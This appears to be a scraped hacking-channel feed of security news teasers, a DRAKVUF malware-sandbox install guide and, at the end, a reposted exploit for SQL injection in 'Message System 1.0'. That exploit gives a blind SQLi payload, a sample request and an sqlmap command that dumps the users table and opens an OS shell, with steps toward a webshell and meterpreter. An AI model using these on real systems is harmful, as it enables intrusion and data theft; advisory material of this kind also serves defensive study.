Long-term sustainability and token utilityContinue reading on Medium » (https://hatsfinance.medium.com/hats-protocol-economics-part-i-46c0220af53?source=rss------bug_bounty-5)

___________________________
@hacking_Attack
@Hacking_Video

Dark Reading: Attacks/Breaches
Nation-State Hackers Ramp Up Ukraine War-Themed Attacks

Among them is the operator of the Ghostwriter misinformation campaign, with a new browser-in-browser phishing technique, according to Google's research team.

Dark Reading: Attacks/Breaches
Protecting Your Organization Against a New Class of Cyber Threats: HEAT

Take a preventative threat approach and apply security measures near end users, applications, and data to increase protection.

80+ million Digilocker user’s phone numbers exposed [Fixed]

This is a story about my last finding at digilocker. In bug bounty we call these type issue as ‘low hanging fruits’. I already contribute…Continue reading on Medium »
Read more...

80+ million Digilocker user’s phone numbers exposed [Fixed]
https://dewcode.medium.com/80-million-digilocker-users-phone-numbers-exposed-fixed-7b49851c43f?source=rss------bug_bounty-5

___________________________
@hacking_Attack
@Hacking_Video

This is a story about my last finding at digilocker. In bug bounty we call these type issue as ‘low hanging fruits’. I already contribute…Continue reading on Medium » (https://dewcode.medium.com/80-million-digilocker-users-phone-numbers-exposed-fixed-7b49851c43f?source=rss------bug_bounty-5)

___________________________
@hacking_Attack
@Hacking_Video

Kali Linux Tutorials
DRAKVUF Sandbox : Automated Hypervisor-Level Malware Analysis System

DRAKVUF Sandbox is an automated black-box malware analysis system with DRAKVUF engine under the hood, which does not require an agent on guest OS.

This project provides you with a friendly web interface that allows you to upload suspicious files to be analyzed. Once the sandboxing job is finished, you can explore the analysis result through the mentioned interface and get an insight on whether the file is truly malicious or not.

Because it is usually pretty hard to set up a malware sandbox, this project also provides you with an installer app that would guide you through the necessary steps and configure your system using settings that are recommended for beginners. At the same time, experienced users can tweak some settings or even replace some infrastructure parts to better suit their needs. Supported hardware & softwareIn order to run DRAKVUF Sandbox, your setup must fullfill all of the listed requirements:

* Processor: Intel processor with VT-x and EPT features (how to check).
* Host system: Debian 10 Buster/Ubuntu 18.04 Bionic/Ubuntu 20.04 Focal with at least 2 core CPU and 5 GB RAM, running GRUB as bootloader.
* Guest system: Windows 7 (x64), Windows 10 (x64; experimental support)

Nested virtualization:

* KVM does work, however it is considered experimental. If you experience any bugs, please report them to us for further investigation.
* Due to lack of exposed CPU features, hosting DRAKVUF Sandbox in the cloud is not supported (although it might change in the future).
* Hyper-V does not work.
* Xen does work out of the box.
* VMware Workstation Player does work, but you need to check Virtualize EPT option for a VM; Intel processor with EPT still required. Basic installationThis instruction assumes that you want to create a single-node installation with the default components, which is recommended for beginners.

* Download latest release packages.
* Install DRAKVUF:

# apt update
# apt install ./drakvuf-bundle*.deb
# reboot

* Install DRAKVUF Sandbox stack:

apt install redis-server
apt install ./drakcore.deb apt install ./drakrun.deb

* Check if your Xen installation is compliant. This command should print “All tests passed”:

draksetup test

Execute:

draksetup install /opt/path_to_windows.iso

Read the command’s output carefully. This command will run a virtual machine with Windows system installation process.

Customize vCPUs/memory: You can pass additional options in order to customize number of vCPUs (--vcpus ) and amount of memory (--memory ) per single VM. For instance: --vcpus 1 --memory 2048.

Recommended minimal values that are known to work properly with DRAKVUF Sandbox:
System versionMinimal vCPUsMinimal RAMWindows 711536Windows 1023072
Unattended installation: If you have autounattend.xmlmatching your Windows ISO, you can request unattended installation by adding --unattended-xml /path/to/autounattend.xml. Unattended install configuration can be generated with Windows Answer File Generator.

Use VNC to connect to the installation process:

vncviewer localhost:5900

* Perform Windows installation until you are booted to the desktop.
* Optional: At this point you might optionally install additional software. You can execute:
draksetup mount /path/to/some-cd.iso
* which would mount a virtual CD disk containing additional software into your VM.
* Optional: Generate .NET Framework native image cache by executing the following commands in the administrative prompt of your VM.
cd C:\Windows\Microsoft.NET\Framework\v4.0.30319
ngen.exe executeQueuedItems cd C:\Windows\Microsoft.NET\Framework64\v4.0.30319
ngen.exe executeQueuedItems
In order to finalize the VM setup process, exe[...]

___________________________
@hacking_Attack
@Hacking_Video

Kali Linux Tutorials
DRAKVUF Sandbox : Automated Hypervisor-Level Malware Analysis System

___________________________
@hacking_Attack
@Hacking_Video

Hacking on Medium
LET’S REMOVE RENSOMEWARE/TROJON/VIRUS FROM PC

https://cdn-images-1.medium.com/max/1920/1*tLk936SDX5yPSMhKrmCErg.png
What is Ransomware

Continue reading on Medium »

___________________________
@hacking_Attack
@Hacking_Video

Hacking on Medium
Hoy ¡Día mundial del backup!

https://cdn-images-1.medium.com/max/1080/1*sDH6j0zGK_2yOPDY0Bc8tw.png
El 31 de Marzo se celebra el día mundial de la copia de seguridad (backup) un día en el que se pretende recordar a los usuarios la…

Continue reading on Medium »

___________________________
@hacking_Attack
@Hacking_Video

Hacking on Medium
HomeGrown Red Team: Let’s Evade AV And Run Lazagne

https://cdn-images-1.medium.com/max/600/1*15LetPQLQe23S9gf8gJaVA.png
What is Lazagne?

Continue reading on Medium »

___________________________
@hacking_Attack
@Hacking_Video

Hacking on Medium
CISA advierte sobre ataques cibernéticos continuos dirigidos a dispositivos UPS conectados a…

https://cdn-images-1.medium.com/max/1710/0*twEYG9ctqqKln-7M
PUBLICADO EN 31 MARZO, 2022POR EHACKING

Continue reading on Medium »

___________________________
@hacking_Attack
@Hacking_Video

Hacking on Medium
80+ million Digilocker user’s phone numbers exposed [Fixed]

https://cdn-images-1.medium.com/max/651/1*xHb51JhWRynqBu_m5oHmLg.png
This is a story about my last finding at digilocker. In bug bounty we call these type issue as ‘low hanging fruits’. I already contribute…

Continue reading on Medium »

___________________________
@hacking_Attack
@Hacking_Video

Hacking on Medium
XSS Vulnerability Part 1

https://cdn-images-1.medium.com/max/1926/1*SXZiwzqwfSqhUACrfNNQ0g.png
Greetings, in this article I want to describe the XSS vulnerability in detail.

Continue reading on Medium »

___________________________
@hacking_Attack
@Hacking_Video

Hacking on Medium
Ronin it Down: The Axie Hack

https://cdn-images-1.medium.com/max/2000/0*YGoEzyTkMSW040Ar.png
By Teddy MacDonald

Continue reading on Medium »

___________________________
@hacking_Attack
@Hacking_Video

Hacking on Medium
Do VPNs help my security?

https://cdn-images-1.medium.com/max/1280/1*mLWzLeQhRdb0CxKRvxwfIg.jpeg
Separating the marketing from security when it comes to VPN providers

Continue reading on Sentant »

___________________________
@hacking_Attack
@Hacking_Video

hacking: security in practice
Last one was fun so why not another? Preference?

Which do like the most?

View Poll

submitted by /u/STATERA_DIGITAL
[link] [comments]

___________________________
@hacking_Attack
@Hacking_Video

Exploit Collector
Message System 1.0 SQL Injection

https://2.bp.blogspot.com/-trS7d3JOSJY/WWlvYoSx4fI/AAAAAAAAIOo/ua-jTrS9avcHrliD3JJHs9ifWyf14eAUwCLcBGAs/s1600/h57.png
Message System version 1.0 suffers from a remote SQL injection vulnerability that can lead to remote code execution.

MD5 | 7ef4d3f7474471b42fd357a791baa911

Download
# Title: Message System 1.0 1.0 Blind Time SQLi To Rce
# Author: Hejap Zairy
# Date: 30.07.2022
# Vendor: https://www.sourcecodester.com/php/15249/message-system-phpoop-free-source-code.html
# Software:https://www.sourcecodester.com/sites/default/files/download/oretnom23/pmms_1.zip
# Reference: https://github.com/Matrix07ksa
# Tested on: Windows, MySQL, Apache
# Steps
# 1.- Go to : https://0day.gov//pmms/?page=view_message&id=1
# 2 - manual inject Blind SQli Payload: https://0day.gov/pmms/?page=view_message&id=1' OR NOT 515=515#&password=hejap&button=Login
# 3 - SQLi To RCE r00t
# 4 - Ubload webshell
# 5 - Web Shell to meterpreter full tty shell

#vulnerability Code php

---
```
query("SELECT * FROM `conversation_list` where id = '{$_GET['id']}' and (`user_1` = '{$_settings->userdata('id')}' or `user_2` = '{$_settings->userdata('id')}') ");
if($qry->num_rows > 0){
foreach($qry->fetch_array() as $k => $v){
if(!is_numeric($k))
$$k = $v;
}
$msg = $conn->query("SELECT m.*,CONCAT(u.firstname,' ', COALESCE(u.middlename,''), ' ', u.lastname) as `name`, u.username, u.avatar FROM `message_list` m inner join users u on m.from_user = u.id where m.conversation_id = '{$id}' order by unix_timestamp(m.date_updated) asc limit 1 ")->fetch_array();
$conn->query("UPDATE `message_list` set `status` = 1 where conversation_id = '{$id}' and to_user = '{$_settings->userdata('id')}'");
}
else{
echo "";
}
?>
```
---
#Status: CRITICAL
[+] Payload GET

---
GET /pmms/?page=view_message&id=1 HTTP/1.1
Host: 0day.gov
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:78.0) Gecko/20100101 Firefox/78.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Connection: close
Cookie: PHPSESSID=fcmu4ss9vhq6760poojbtk40bt
Upgrade-Insecure-Requests: 1
---

```
---
Parameter: id (GET)
Type: time-based blind
Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP)
Payload: page=view_message&id=1' AND (SELECT 4539 FROM (SELECT(SLEEP(5)))sFek) AND 'MXDw'='MXDw
---
```
#Blind SQLi Time to Rce
#ُExploit
sqlmap -r hejap_0day --dbs --time-sec=10 --tamper=space2comment --threads=5 -p id -D pmms_db -T users --dump --eta --technique=t --hex --os-shell
# Description:
The Blind Time SQLi vulnerability was converted to rce due to the permissions I have in the database and it was privesc

# Proof and Exploit:
https://i.imgur.com/HfDGPGT.png
https://i.imgur.com/6RH1Wvi.png

Source:packetstormsecurity.com

___________________________
@hacking_Attack
@Hacking_Video